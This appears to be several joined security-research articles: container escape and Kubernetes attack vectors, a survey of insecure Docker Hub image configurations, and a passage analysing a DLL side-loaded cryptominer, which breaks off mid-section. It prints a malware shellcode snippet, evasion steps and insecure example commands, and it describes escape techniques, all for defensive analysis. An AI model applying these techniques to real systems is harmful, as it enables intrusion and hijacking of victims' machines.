Each of these vectors can be utilized either independently or as part of a complex, multi-stage attack chain. In practice, attackers rarely stop at compromising a single container; their primary objective is often to gain access to the Kubernetes cluster, secrets management systems, or other mission-critical environment components. This is why securing container infrastructure requires a comprehensive approach that spans configuration auditing, runtime protection, activity monitoring, and software supply chain security. Let’s take a closer look at each of these vectors.
Exploiting host system vulnerabilities
Because a container does not have its own isolated OS, vulnerabilities affecting the Linux kernel or runtime components remain just as critical when exploited from within a container.
Any vulnerability that allows for privilege escalation, arbitrary code execution, or isolation bypassing can potentially be leveraged by an attacker once the container is compromised. Successful exploitation of these flaws can lead to a container escape, compromise of the Kubernetes node or the entire cluster, lateral movement across the infrastructure, secrets theft, and malicious actions potentially culminating in a complete service disruption. It is worth noting that the mere presence of a vulnerability does not always guarantee a compromise, as exploitation sometimes requires specific configuration settings or privileges to work.
Below are examples of several vulnerabilities leveraged in attacks on container environments:
CVE-2019-5736 is one of the most prominent and illustrative vulnerabilities associated with containerization. It affected the runC runtime environment and allowed an attacker, who already had root access inside the container, to execute arbitrary code on the host system with root privileges. The root cause of the vulnerability was runC’s improper handling of the file descriptor for its own executable via the /proc/self/exe mechanism. When a container was started, the runC process temporarily executed within the container’s context while remaining a host system process. This allowed an attacker to gain access to the runC binary and overwrite its contents.
CVE-2022-0492 is a critical Linux kernel vulnerability that allows for container escape and arbitrary command execution on the host system. The flaw stemmed from improper privilege validation when interacting with the cgroups release_agent mechanism. This vulnerability posed a particular risk for container infrastructures because it allowed an attacker who already possessed code execution capabilities inside a container to break out of isolation and gain control of the host system.
CVE-2024-21626 is a critical vulnerability in runC that allowed an attacker to access the host file system from within a container, and in specific scenarios, even perform a complete container escape. The root cause of the issue was runC’s improper handling of file descriptors and the process’ current working directory when spinning up containers or executing commands via docker exec or similar mechanisms.
Malicious actions inside the container
Sometimes, an attacker does not need to exploit complex attack chains involving container escapes, Kubernetes cluster compromise, or lateral movement to achieve their goals. In many cases, the container itself already houses data and resources that are highly valuable to the attacker. For example, a container may contain:
User and service credentials
API keys
Access tokens
SSH keys
Environment variables containing secrets
Kubernetes ServiceAccount tokens
Configuration files
Application service data or databases
These types of data are especially prone to exposure due to configuration mistakes or specific operational processes. For instance, secrets might be passed via environment variables, baked into Docker images during the build phase, or mounted directly inside the container. In Kubernetes environments, automatically mounted ServiceAccount tokens are of particular interest to attackers, as they provide a direct pathway to interact with the Kubernetes API.
Even a single compromised container frequently provides an attacker with sufficient leverage for next steps: gaining access to external services, compromising cloud infrastructure, stealing user data, impersonating a trusted service, or establishing persistence within the environment. Beyond data theft, malicious actors can use a compromised container as a staging ground for further malicious activity. This is why securing container infrastructure is about much more than just preventing escapes. Even a fully isolated container, if it houses sensitive data or holds access to internal services, can become a major foothold for an infrastructure breach.
In the context of this vector, approaches and techniques applicable not only to container environments but also to traditional systems are frequently applied. Once an attacker gains access to a container, they usually find themselves in a full-featured Linux environment, allowing them to deploy standard post-exploitation, reconnaissance, and persistence methods.
We explored container configuration errors and other unsafe practices that attackers could exploit to carry out malicious activities in more detail in this article.
Container escape
Container escape is one of the most dangerous and prevalent attack vectors targeting container infrastructure. The term refers to the bypassing of container isolation, allowing an attacker to directly interact with the host system.
The opportunity to escape a container can arise from a multitude of sources: the exploitation of vulnerabilities, container misconfigurations, or the insecure use of containerization and orchestration APIs. Indeed, container escape is the logical conclusion of most attacks on container infrastructure, as the attacker’s ultimate goal is frequently to break out of the isolated environment and gain access to the host system or the broader Kubernetes cluster. As such, container escape ties together a significant portion of the attack vectors discussed in this article. In practice, misconfigurations remain one of the most common root causes of successful container escapes, as they occur far more frequently than the exploitation of complex vulnerabilities. With that in mind, we will take a closer look at container misconfigurations and their associated attack scenarios below.
To better understand the risks associated with container misconfigurations, let’s explore the concept of capabilities in Linux systems. This is a mechanism for granularly granting extended permissions to processes, allowing them to perform privileged actions without needing full root access.
Privileged containers
One of the most dangerous configurations is running a container with the --privileged flag. In this mode, the container is granted all Linux capabilities, direct access to host devices, and the ability to interact with kernel interfaces. A container configured this way virtually ceases to be an isolated environment and, in many cases, possesses capabilities comparable to root access on the host system.
Let’s look at a basic example of a container escape attack involving the --privileged flag. Using the capsh utility, you can see that such a container possesses virtually all Linux capabilities. Furthermore, if the PID namespace matches the host’s, the process with PID=1 corresponds to init, the first system process in Linux. In a different configuration, PID 1 would belong to the process that created the container. If we spawn a shell from the init process using the nsenter utility, the expected behavior is the creation of a process outside the container, which can easily be verified by using the hostname command.
Container privilege misconfigurations open up a broad attack surface. Let’s dive deeper into how specific capabilities can be used to execute a container escape.
CAP_SYS_ADMIN
CAP_SYS_ADMIN is considered one of the most dangerous Linux capabilities in the context of container security. Although Linux capabilities were originally intended to break down superuser privileges into discrete categories, over time, CAP_SYS_ADMIN became a catch-all for a massive number of sensitive kernel operations. As a result, a container granted this capability gains access to a wide array of system mechanisms that directly impact container isolation. It inherits the ability to mount file systems, interact with the cgroups mechanism responsible for resource allocation, modify kernel parameters within certain limits, work with loop devices, and utilize various namespace management features. In practice, this heavily blurs the line between the container and the host system.
This capability becomes especially dangerous when combined with other configuration errors. For instance, if the container is configured to use the hostPath parameter, an attacker can leverage a container compromise to mount the host system’s directories right into their own environment and access critical host files. Similarly, having access to /proc or /sys allows for direct interaction with internal Linux kernel mechanisms, which can drastically expand the blast radius of the breach.
Let’s look at a clear example of how having CAP_SYS_ADMIN can help an attacker escape a container. Illustrated below is the sequence of actions inside a container possessing CAP_SYS_ADMIN privileges and access to host directories. By mounting the host’s disk to a folder inside the container, the attacker can freely interact with all files on the host system. In this specific example, it shows the ability to overwrite the root user’s shell configuration by injecting an arbitrary malicious payload.
CAP_SYS_MODULE
CAP_SYS_MODULE provides direct access to the kernel module loading and unloading mechanism. This direct interaction with kernel space makes CAP_SYS_MODULE a high-risk capability, unlike many other capabilities that are restricted purely to user space.
From a Linux architectural standpoint, kernel modules consist of code executing with maximum privileges inside kernel space. These modules can extend system functionality, manage devices, handle the network stack, interface with file systems, and control other mission-critical components. This is why the ability to dynamically load these modules via CAP_SYS_MODULE equates to having the power to manipulate the behavior of the entire operating system.
In practice, modern containerized applications rarely require CAP_SYS_MODULE. The presence of this capability is typically tied to legacy architectures, monitoring systems, or specialized drivers that must interact directly with the kernel. This is why CAP_SYS_MODULE is almost universally banned in modern infrastructures. In most environments, it is considered an unacceptable risk because its compromise does not just lead to localized privilege escalation within the container, but to code execution directly in kernel space.
A container escape using this capability happens in several stages. The goal of the attack in this case is to load a malicious Linux kernel module. It is worth noting that the module must match the specific kernel version in use, requiring the attacker to perform additional reconnaissance to identify it. These attacks can be executed entirely within the container if it contains the necessary build tools to compile the module and has access to kernel dependency directories. However, because these utilities are typically stripped from container images, attackers usually compile the malicious payload with the required dependencies on an external host. They then either transfer it over the network or drop it into a binary file on the target by using a command like echo.
Let’s look at a container escape using a kernel module with the following payload example:
Upon loading, this module triggers the reverse shell. Once the payload is built and successfully delivered to the container, all the attacker needs to do is start a listener on the IP address and port specified in the payload, and then load the module into kernel space.
CAP_SYS_PTRACE
The CAP_SYS_PTRACE capability grants a process elevated permissions to interact with other system processes via the ptrace system call. While it is designed for debugging and code tracing, its misconfiguration in containerized environments can severely weaken isolation and, under certain conditions, enable a container escape leading to host system compromise.
The primary risk of CAP_SYS_PTRACE is that it allows a process to read and modify the memory of other processes, control their execution, inject code, and extract sensitive data directly from memory. Furthermore, CAP_SYS_PTRACE enables process injection techniques.
If a container is compromised, an attacker can use ptrace to attach to host processes. Crucially, this is only possible if the host’s PID namespace is shared with the container — this is configured via hostPID: true. This configuration allows the attacker to target a process running on the host, inject code, and trigger a reverse shell — though in most cases, this requires additional malicious code. The image below demonstrates this kind of an attack, implemented using a publicly available PoC.
CAP_NET_ADMIN
CAP_NET_ADMIN provides extensive privileges to manage the network stack of a Linux system. If a container is compromised, the presence of this capability significantly weakens network isolation and creates additional opportunities for further exploitation.
A container equipped with CAP_NET_ADMIN can modify network interface configurations, manipulate routing tables, interact with traffic filtering mechanisms, and alter the behavior of the network stack. Although most of these operations are formally restricted to the container’s own network namespace, in practice, this capability is frequently combined with other misconfigurations — such as the hostNetwork: true parameter — which grants direct access to the host’s network resources.
Once inside the container, an attacker can leverage this capability to modify its network behavior and launch further attacks across the infrastructure. One of the most common scenarios involves manipulating iptables rules to redirect traffic. This enables man-in-the-middle (MitM) attacks, allowing the attacker to intercept internal traffic or mask their own malicious activities.
It is important to emphasize that there are many other Linux capabilities that can lead to a container escape when combined with specific misconfigurations; we have highlighted only a few of the most severe and frequently encountered.
Exploitation of orchestration APIs
One of the most dangerous and common attack vectors in containerized infrastructure is the exploitation of misconfigured container management and orchestration APIs. Unlike attacks that require complex kernel vulnerability exploits or container escape, this scenario is often remarkably straightforward: the attacker simply needs to gain access to the control interfaces of the container environment.
The fundamental risk stems from the fact that container platform APIs possess inherent administrative privileges over the entire infrastructure. The Docker API, Kubernetes API, and kubelet API are designed to spin up containers, modify configurations, access host file systems, and execute commands inside running containers. When misconfigured, these interfaces immediately become a point of failure for the entire environment.
One of the most notorious examples of this vector is an exposed Docker API. If the Docker daemon is accessible over TCP without TLS or authentication, an attacker can remotely interact with the host system with permissions equivalent to a local administrator. They can deploy new containers custom-configured for attacks, mount the host’s entire root file system, and execute arbitrary commands within any container via the API. In practice, compromising an unauthenticated Docker API typically leads to a complete host takeover after just a few API requests.
Similar risks exist within Kubernetes environments. The Kubernetes API server acts as the central control point for the entire cluster. If an attacker manages to compromise a ServiceAccount token, exploit weak RBAC policies, or discover an inadvertently exposed API server, they can execute a broad spectrum of destructive operations.
For the sake of this attack example, let us assume that an attacker has compromised a Kubernetes API token for a privileged account. First, they enumerate the token’s permissions, typically by running a script to query each individual capability. This gives them a full list of Kubernetes privileges.
The script’s output reveals that the compromised API token grants exceptionally high privileges within the cluster. The logical next step in the attack chain is to deploy a malicious, privileged container to execute any of the host escape techniques described above. In our example, the attacker used a curl POST request to the API to create the container:
Once the privileged container is deployed, the attacker can execute an escape to compromise the underlying host system.
However, this is not the only high-risk scenario involving API requests. For instance, when a Docker socket is mounted inside a container, an attacker gains the ability to interact with the Docker daemon directly. Once that container is compromised, the attacker effectively inherits the privileges of the daemon, which means they gain control over all containers on the host.
To execute the attack, adversaries look for containers with mounted sockets. The further progression of the attack replicates what has been described above: an API request is made to create a privileged container, after which any escape method is similarly exploited using the API.
Supply chain attacks
Unlike classic attacks aimed at exploiting vulnerabilities in already deployed containers, this approach focuses on compromising components before they are even launched in the runtime environment. Modern container infrastructure is tightly integrated with a large number of external components. As a result, container security directly depends not only on the application itself, but on the entire image build and delivery chain. Compromising any of these stages potentially allows an attacker to inject malicious code into multiple containers and services simultaneously.
One of the most common scenarios involves attacks that contaminate container images. In many organizations, developers use public images from Docker Hub or other available sources without a full verification of their origin or contents. Threat actors frequently publish contaminated images that masquerade as popular services and utilities. Once a container like that is launched within the infrastructure, the attacker gains the ability to execute their own code right inside the organization’s trusted environment.
Furthermore, CI/CD container deployment systems are among the most frequent targets of these attacks. Application build and delivery platforms typically possess elevated privileges. For instance, after gaining access to a CI/CD system, an attacker can covertly modify the Docker image build stages. Instead of altering the application’s source code, the attacker can inject the malicious logic directly into the pipeline itself. An additional command during the build process can download a third-party binary, add a hidden script, modify the container configuration, or implant a remote management mechanism. Externally, the container will look completely legitimate because its core functionality remains unchanged.
Takeaways
Overall, modern attacks on container environments demonstrate that the primary threat arises not just from within the container itself, but from the implementation of the container infrastructure as a whole. Containers are frequently exploited as an initial foothold to establish persistence within a system; following an initial compromise, attackers aim to either escalate to the host OS level or gain control over infrastructure management via containerization and orchestration APIs. To achieve this, they exploit weak configurations, excessive capabilities, and isolation flaws.
Furthermore, there is a visible trend of attacks shifting toward CI/CD pipelines, where compromising a single component can lead to a full infrastructure takeover. Therefore, under current realities, securing containerized environments requires an approach that encompasses host protection, strict access control within the orchestrator, minimization of container capabilities, and comprehensive validation of the entire supply chain. Our solution Kaspersky Container Security has been designed with the specific characteristics of container environments in mind and provides protection at various levels from container images to the host system helping to implement the principles of secure software development.
Containerization using Docker has become firmly established in modern development standards, significantly increasing the speed and convenience of deploying various services. Developers often use ready-made Docker images, making only minimal changes. The largest repository of container images is the Docker Hub service.
Container-hosted infrastructure is an attractive target for attackers. At a minimum, a compromised container can be used for DDoS attacks, cryptocurrency mining, or traffic proxying. The list of threats does not end there: once an attacker gains control of a container, they can steal or destroy data directly from it, access neighboring containers, or even attempt to escape the container, compromising the entire enterprise network.
At the same time, the infrastructure inside containers is typically updated less frequently and may contain outdated and vulnerable software versions. When deploying third-party images or modifying them for a specific environment, it is easy to make configuration errors that attackers can later exploit. And due to the architectural characteristics of containers, developers often face constraints when preparing images; to overcome these, they may resort to insecure solutions they find online.
In other words, containerized infrastructure can be both the simplest and the most lucrative target to exploit. Therefore, its security requires heightened attention. To minimize the risk of successful attacks on container infrastructure, it is essential to check the final Docker images, including all underlying layers, for vulnerabilities and misconfigurations. The easiest way to do this is by analyzing the Dockerfile; however, it is not always available for inspection. Moreover, it typically defines how to build layers on top of a base image from an external repository whose reliability cannot be guaranteed.
Image analysis results in Kaspersky Container Security
To help users identify insecure configurations and potential vulnerabilities within them, we have added our AI assistant to Kaspersky Container Security.KIRA (the assistant’s name) uses artificial intelligence to analyze the image and identify potential issues within, along with recommendations on how to fix them.
As part of this study, we asked KIRA to analyze a number of popular community images, and later in this article, we’ll show you the results.
Software vulnerabilities and compromise of update sources
One of the key security issues with using pre-built images is that developers do not update them in a timely manner. A Docker image is, by its very nature, a snapshot of a specific Linux distribution after packages have been installed on it. However, in most cases, it does not receive security updates on its own, unlike traditional Linux servers, where these updates are automatically installed by specialized services, such as unattended-upgrades in Debian-based distributions and dnf-automatic in RedHat-based distributions.
To apply updates to a Docker image, it must be rebuilt and redeployed. Often, this process is not automated, and some updates require additional effort to verify their correct operation, modify configurations when upgrading to new software versions, and so on. As a result, many popular images do not receive timely updates, which significantly increases the risks associated with their use.
An image that was secure at build time accumulates vulnerabilities as they are discovered in the packages installed within it, which over time significantly increases the opportunities for a successful attack on the container.
Vulnerable versions of web applications and network services accessible from the internet immediately become targets of various malicious campaigns. For example, just one day after the discovery of the CVE-2025-55182 vulnerability in React Server Components, our honeypots recorded numerous attack attempts related to this vulnerability. It was adopted by operators of many malicious campaigns, ranging from classic cryptocurrency miners to variants of Mirai and Gafgyt. Attackers are constantly adding new distribution methods and can use dozens of exploits targeting various vulnerabilities and configuration errors in popular services. Often, the same vulnerabilities are used in self-propagation mechanisms from already compromised hosts. For example, in a malicious campaign to spread the Dero miner, attackers use infected containers to automatically search for and infect new targets.
In addition to vulnerabilities that can be exploited remotely, attackers are rapidly adding local vulnerabilities to their arsenal, used to gain root privileges and escape the container: in the Kinsing malware campaign, attackers used CVE-2023-4911 (Looney Tunables) to elevate privileges, and in the perfctl campaign, the CVE-2021-4034 (PwnKit) vulnerability was used for the same purpose. The access gained was used to install a rootkit that hides the presence of perfctl on the system.
To assess the situation with unpatched vulnerabilities in containers, we took a random sample of 100 images, which included various popular solutions with 10,000 to 1 million downloads on DockerHub. In the 64 images we scanned, we found outdated software versions with critical vulnerabilities. For example, some images contained the CVE-2025-49844 vulnerability in the Redis server, leading to RCE by leveraging a vulnerability in the Lua parser; the current CVE-2026-24061 vulnerability in nginx, which in some configurations leads to a server process crash, and with ASLR disabled, again, to RCE; vulnerabilities CVE-2025-32463 in sudo and CVE-2023-4911 in glibc, allowing an attacker to gain root privileges with local access. At the same time, only one in ten Docker images from the analyzed sample is fully up to date.
TOP 10 Critical Vulnerabilities with PoC/Exploits available as shown in the Kaspersky Container Security Dashboard
It is worth noting that, of course, not every discovered vulnerability can be directly exploited by attackers. A practical risk arises when the vulnerable application or library is actually in use, and the conditions necessary for exploitation – which vary significantly from vulnerability to vulnerability – are met. Nevertheless, updates must not be ignored, as the risk of vulnerabilities being exploited – both individually and in various combinations – cannot be predicted in each specific case, and even vulnerabilities that seem harmless at first glance can ultimately pose a serious risk of compromise.
A record number of vulnerabilities in a single image
However, frequent updates have a downside. Every rebuild that downloads new packages from source repositories introduces an additional risk of a supply chain attack – a compromised dependency or a modified base image could silently inject malicious code into your environment precisely through an update. During our analysis of images from the sample, we did not find any signs of supply chain attacks. However, in March 2026, a supply chain incident occurred in the Trivy and LiteLLM projects. In the case of Trivy, the infected file was injected directly into the container image in the official repositories.
Detecting potentially malicious software using one of the images as an example
This leads to a difficult choice: infrequent updates leave known vulnerabilities unpatched within the image, while frequent updates increase the risk of supply chain compromise. Therefore, to protect your infrastructure, you need not only to regularly update base images but also to take a more comprehensive approach, specifically by pinning dependencies to known-good versions and scanning the resulting images for malware upon update.
Configuration vulnerabilities
Even a container with a fully updated image can be compromised if it is configured incorrectly. Embedding keys and secrets in the image, disabling authentication in network services, default passwords, and insecure file access permissions – all of these can be exploited by attackers in one way or another to achieve their goals.
Insecure image configurations detected by KCS based on rules
The situation is exacerbated by the fact that errors may be introduced by the authors of the original image, which complicates their detection, as this requires analyzing every layer and the command that generated it. As with vulnerabilities, not every configuration error leads to compromise: it all depends on the container’s role, its network accessibility, and many other factors. But the very use of insecure settings will sooner or later lead to errors appearing in images where their consequences will be significantly more dangerous.
Standard rules are often insufficient for analyzing problematic configurations. To gain a deeper understanding of the context and assess potential risks, AI tools can be used. Later in this section, we will examine examples of typical insecure configurations we discovered while scanning public images from Docker Hub, along with the descriptions of issues and risk mitigation methods provided by the KIRA AI assistant.
Example of container analysis using KIRA
Insecure handling of credentials
Use of default passwords
In some cases, containers may use default passwords set via environment variables or directly in Dockerfile. If these passwords are not overridden, attackers will be able to access the application by using the default password.
RUN |1 DEBIAN_FRONTEND=noninteractive /bin/sh -c echo [removed]:[removed] | chpasswd
According to KIRA’s analysis, the user’s password is stored in plain text in the image layer history. Anyone who gains access to the image – whether through a public registry, a compromised build environment, or other means – will be able to extract the password. If SSH or another form of interactive access is enabled in the container, this could lead to its complete compromise and allow attackers to move laterally within the infrastructure.
Passwords may be present in environment variables. Consider the following Dockerfile snippet:
In this example, the environment variable PKP_DB_PASSWORD is set to changeMePlease. If the user forgets to override it, the application will use the password that can be obtained from Dockerfile.
For this image, Dockerfile specifies that the administrator password is hardcoded in the ENV directive and remains in the image metadata (layer history, docker inspect). Anyone who gains access to the image (registry, build cache) will be able to extract this secret and compromise the account.
To eliminate these risks, ensure that no passwords are specified in Dockerfile. If authentication is required, you can use orchestrator mechanisms (secrets) or generate a temporary password when starting the container via the entrypoint script, without saving it in the layers. We also recommend using mechanisms for securely passing secrets at runtime (Docker secrets, Kubernetes Secrets) or, as a last resort, passing them via --secret during the build with BuildKit, but under no circumstances should they be left in the final image.
Passing passwords via command arguments
In some cases, passwords may be exposed when passed via command-line arguments, as these arguments are visible to all users on the system:
In the example provided, the MySQL superuser password is passed into the healthcheck command in plaintext, making it visible when viewing the process list (ps aux), in audit logs, and in monitoring systems. If the attacker gains read access to the container’s processes or logs, they can extract the password and gain full control of the database.
To fix this issue, the healthcheck should use a local connection via a Unix socket with default authentication (if the auth_socket plugin is configured for root), or create a dedicated user with minimal privileges (e.g., only USAGE), without a password or with a password passed via a secure file (--defaults-file with restricted permissions). You can also use the MYSQL_PWD environment variable for healthcheck authentication, but it remains visible in /proc.
Privilege escalation in the container
One of the most common vectors for initial compromise of Linux systems is RCE in web applications and network services. Typically, these services have minimal privileges, which complicates attackers’ subsequent actions: dumping credentials, covering their tracks, attempting to escape the container, and much more.
The situation worsens significantly if the attacker gains root privileges, as this allows them to fully control all processes within the container, conceal their activity, and use methods to escape the container. For example, they can compromise the host if the container is privileged, a Docker socket is mounted inside it, or other insecure configurations and vulnerabilities exist that cannot be exploited with standard user privileges.
Similarly, this simplifies network attacks on neighboring containers, the orchestrator, and various internal services, making this configuration error a potential link in the chain for compromising the entire network.
Attacks on sudo
One of the simplest privilege escalation methods is executing arbitrary commands as root using sudo without entering a password. Consider the following example:
Analyzing this configuration using KIRA immediately highlights the main issue: by installing the sudo package and setting NOPASSWD: ALL for the solr, the user severely violates the principle of least privilege. The Solr platform does not require such broad privileges to run within a container; instead, they create an easy path for escalating to root.
In another example of an insecure configuration, NOPASSWD:ALL privileges are granted to a PostgreSQL database user, which is a direct and severe weakening of the access control policy. If an attacker gains the ability to execute code on behalf of the postgres user – through a vulnerability in a network service, an SQL injection, or by compromising of one of the processes – they will immediately and unconditionally be able to execute any commands on behalf of the root user. This is equivalent to the entire container running as root.
As a risk mitigation measure, we recommend completely removing this directive. The minimum necessary commands requiring privileges should be delegated on a case-by-case basis via sudoers with explicit specification of allowed executables and parameters, using NOPASSWD only as a last resort and for specific utilities.
Our AI assistant KIRA can identify even more complex insecure configurations, such as allowing passwordless sudo for the entire sudo group — by modifying existing rules.
The risk in this example is that the command replaces standard declarations requiring authentication with passwordless execution of all commands for any user within the sudo group – potentially including postgres, should it be assigned to that group. This expands the attack surface to all group members, turning each of them into a potential point for instant privilege escalation.
To mitigate the risks, we recommend not modifying the global sudoers policy, keeping the standard password requirement, or using a more secure escalation mechanism – such as gosu to run a specific process on behalf of another user without permanent privileges.
Insecure file permissions
Another common vector for privilege escalation is insecurely configured file and directory permissions. Most often, for convenience, container image authors use 777 permissions, which allow anyone – including unprivileged users – to freely create and delete files, as well as modify their contents. This can lead to both privilege escalation and the ability for an unprivileged attacker to delete or modify logs, among other undesirable consequences.
Consider the following command:
chmod 0777 /usr/share/cargo /usr/share/cargo/bin
The risk is that directories containing binary files and scripts will become writable by any container user. This allows a low-privileged attacker to replace utilities included in cargo or add new malicious executables. When these tools are subsequently invoked, especially as the root user or via sudo, the attacker’s code will execute with the inherited privileges of the calling process, leading directly to a local privilege escalation.
To mitigate the risks, you can set the minimum necessary permissions: chmod 0755 for directories and chmod 0755/0644 for the corresponding files. The owner should be root, and only the owner should be allowed to write. Do not use chmod 777 on any system paths.
Lack of integrity checks
Downloading software without verifying its integrity can make the infrastructure vulnerable to software tampering.
For example, this risk may arise when downloading a distribution via HTTP:
RUN /bin/sh -c wget -qO- ""<a href="http://acestream.org/downloads/linux/acestream_3.1.49_debian_9.9_x86_64.tar.gz">http://acestream.org/downloads/linux/acestream_3.1.49_debian_9.9_x86_64.tar.gz</a>"" | tar --extract --gzip -C /opt/acestream
Using HTTP without verifying the archive’s integrity creates conditions for a man-in-the-middle attack during the image build phase. An attacker controlling the communication channel or DNS can replace the archive with malicious content, which will compromise the container and the entire environment in which it runs.
To mitigate the risks, you can configure connections to web resources to use HTTPS only — if the resource supports this protocol. You can also download the archive without extracting it, compare its checksum (SHA256) with the checksum from a trusted source, and only then extract it. It is advisable to store the verified archive in an internal artifact repository to avoid direct downloads from the network.
There will still be a MitM risk even if certificate verification is disabled:
The absence of TLS certificate verification allows an attacker controlling the network segment to replace the downloaded ZIP archive with malicious content. Since the archive contains PHP code that will be executed by the web server, compromise during the build phase will result in the deployment of a backdoor or data leakage.
To mitigate the risks, remove the --no-check-certificate flag; after downloading, calculate the SHA256 hash of the archive and verify it against a known reference value (the release page or a local repository of trusted hashes). Additionally, consider using a fixed release (tag) rather than the floating 7.2-dev branch.
Conclusion
Docker containers have become a very popular means of deploying software, and attackers are by no means oblivious to this trend. They are rapidly adding software vulnerabilities and configuration errors to their arsenal and carrying out attacks on supply chains. They can compromise container infrastructure for a wide variety of purposes, from cryptocurrency mining to encrypting data for ransom or stealing information critical to the company.
Our research found that 64 out of 100 container images for popular applications contain critically vulnerable software, and only 10% are fully up to date. We also identified numerous insecure configurations, including passwords stored in plaintext in Dockerfiles and excessive privileges granted to users and processes.
To detect and prevent these threats, it is essential to strictly adhere to security measures: audit image configurations, securely manage secrets used in images, apply security updates in a timely manner, scan their contents for malware with every update, and follow industry-standard best practices for enhancing security.
This approach requires specialized solutions built to accommodate the unique characteristics of container environments. Kaspersky Container Security ensures the security of containerized applications at every stage of their lifecycle, from development to operation. The product protects an organization’s business processes, helps ensure compliance with industry standards and security regulations, and enables the implementation of secure software development practices.
In late April 2026, a client reached out to us for incident response support after discovering a miner running on users’ computers. We later discovered that the malware was being distributed via illegal movie and TV show streaming sites. The infection chain leveraged a fake update for a video player plugin. When the user attempted to watch a video, the player displayed a message saying the plugin version was outdated and asking to install an update to continue.
Clicking the link downloaded a ZIP archive with the following contents:
The archive contained a legitimate executable, HLS Installer.874.exe, alongside a malicious DLL. Launching the EXE triggered a DLL side-loading mechanism, injecting the malicious module into a legitimate program process and executing code within its context. The library contained the logic for deploying the miner and establishing persistence on the device.
At the time of the investigation, the infection risk was associated with two pirated video sites in the .ru and .top TLDs.
Link to previous campaigns
The current incident does not appear to be an isolated case. After analyzing the infection vector and the logic of the DLL, we concluded that this activity is a continuation of a campaign involving pirated digital libraries, which was previously described by another cybersecurity company.
The delivery mechanism for the malicious archive has remained virtually unchanged. Previously, the archive was downloaded in parts from the domain file[.]ipfs[.]us[.]69[.]mu, but this domain was unavailable at the time of our investigation. Instead, the threat actor employed a new website, urush1bar4[.]online.
The structure of the archive has also been preserved: inside is a legitimate executable and a large malicious DLL (see the screenshot below).
In the course of our research, we also discovered a blog post by NTT Security describing a similar delivery method for a malicious archive. In that instance, the threat actors displayed a fake browser crash page (shown below) while simultaneously downloading an archive to the device with a name starting with chromium-patch-nightly.
This scenario resembles the current scheme involving the fake video player plugin update. Given the previously described activity, it’s safe to assume that this campaign has been active since at least 2022. Throughout this entire period, the threat actor has been updating both the downloadable malware and individual parts of the infection mechanism.
Potential distribution scale
As in previous episodes of the campaign, infections occur via highly popular websites. As of late April 2026, sites linked to the campaign typically displayed extremely high monthly traffic. For instance, the audience for the smallest of the free digital libraries stood at 11,000 users, while the largest reached 4.7 million. For pirated movie and TV show streaming sites, this figure ranged from 2.1 million to 27.4 million. In April, the total number of visits to websites where the malware described in this study was detected reached 40 million.
The popularity of these sites increases the potential scale of the miner’s distribution. Furthermore, the campaign is not limited to a single type of platform: the malicious archive is being distributed through both online digital libraries and movie and TV show streaming sites. This broadens the potential range of victims and makes it more difficult to attribute the threat to a single infection vector.
The downloadable archive
The current version of the downloadable malware is a ZIP archive containing a legitimate EXE file and a malicious DLL. When the executable runs, the library side-loads into its process, triggering the malicious logic.
The technical analysis that follows covers the current version of this malware. This version was first observed in April 2025 and has been distributed unmodified for over a year.
DLL analysis
Most of the data inside the DLL carries no meaningful weight and was randomly generated just to inflate the file size and impede analysis.
Amidst the large volume of junk code inside the DLL, there is a single function that triggers a stack overflow during execution:
Based on the code, the size of the stackBuf buffer on the stack is only 64 bytes, and the SmashStack function overwrites this buffer without validating the length of the input data.
This overflow constructs a ROP chain that decrypts the next stage. After decryption, it transfers execution to code located within the modified DOS header of the PE file:
The header was intentionally modified to make it into valid shellcode:
pop r10
push r10
call $+5
pop rcx
sub rcx, 9
mov rax, rcx
add rax, 5C1000h
call rax
retn
This shellcode passes control to a function located at offset 0x5C1000 from the base of the PE file. This function then reflectively loads the same PE file into memory.
Going forward, we will refer to this decrypted PE file as the main module.
Main module
The module’s behavior across its different operational stages is detailed below:
Upon an initial run, the main module checks whether it has permission to proceed with execution. To do this, it collects the following data from the victim’s device:
Processor information
The serial number of the C:/ drive
Whether the process was launched with elevated privileges
The process start time in Unix timestamp format
The information is transmitted as a single large DNS query using the DNS tunneling technique. An example of the DNS query is shown below:
The attackers disguise the DNS query as legitimate traffic through low-level packet crafting and by using a domain name ending in microsoft.com. However, the IP address to which the query is actually sent has no relation to Microsoft.
DNS query crafting code
The execution of the main module proceeds only if the following byte sequence is detected in the response: 01 02 03 04. Following a successful check, the main module launches, and the subsequent logic is adjusted depending on whether the process has elevated privileges on the compromised host.
Let’s look at both scenarios:
1. The process is launched with elevated privileges.
In this case, preparatory steps precede the miner launch:
The malware adds Windows Defender exclusions for EXE and DLL files, as well as for the %USERPROFILE%, %PROGRAMDATA%, and %WINDIR% folders.
It kills Microsoft’s Malicious Software Removal Tool (MSRT) by calling ZwSetInformationFile with the FileDispositionInformation type, which causes the mrt.exe file to be deleted upon closing. To prevent MSRT from being automatically installed during the next update, the DontOfferThroughWUAU parameter is created with a value of 1 under the HKLM\Software\Policies\Microsoft\MRT registry key.
Automatic hibernation and sleep mode are disabled for when the device is running on both AC power and battery.
This is done to maximize the miner’s potential runtime on the device.
Next, to achieve persistence, a copy is created in the C:\ProgramData\Google\Chrome directory, after which the GoogleUpdateTaskMachineQC service is registered and configured to launch automatically at system startup.
Finally, four reflexive loads are executed: the components are injected directly into the memory of the target processes without writing to disk, having bypassed standard Windows loading mechanisms. Each implant is injected into its own host process:
RAT agent → into conhost.exe
Watchdog → into explorer.exe
CPU miner → into explorer.exe
GPU miner → into explorer.exe, but only if a discrete GPU is present in the system. This is verified by enumerating all display adapters in the system.
2. The process is launched with standard privileges.
In this scenario, the miner begins repeatedly triggering User Account Control (UAC) prompts until it is successfully executed with elevated privileges. The workflow is as follows:
Upon initial execution, a copy is made to the %USERPROFILE%\AppData\Roaming\Sandboxie directory and relaunched from there. Simultaneously, an attempt is made to launch it with elevated privileges via UAC.
If execution occurs from the Sandboxie folder:
Persistence is configured for the miner copy in this folder by adding an entry to HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run.
Every three minutes, an attempt is made to launch with elevated privileges via UAC until the GoogleUpdateTaskMachineQC service is successfully installed.
A successful installation requires all of the following conditions to be met:
The GoogleUpdateTaskMachineQC service exists in the system.
The Start value for this service is set to 2 (Automatic).
The ImagePath value points to a file in the C:\ProgramData\Google\Chrome folder.
This file exists on disk.
Watchdog
The purpose of this component is to ensure the uninterrupted operation of the miner. At the very beginning of its execution, it copies all files from the C:\ProgramData\Google\Chrome folder and encrypts the contents of each file using a cyclic XOR algorithm with the key AFeIboiOmImJS2ypJU0pTpAO61SELkUc. After that, the encrypted contents are written into the process memory, and the following structure is created in memory for each file:
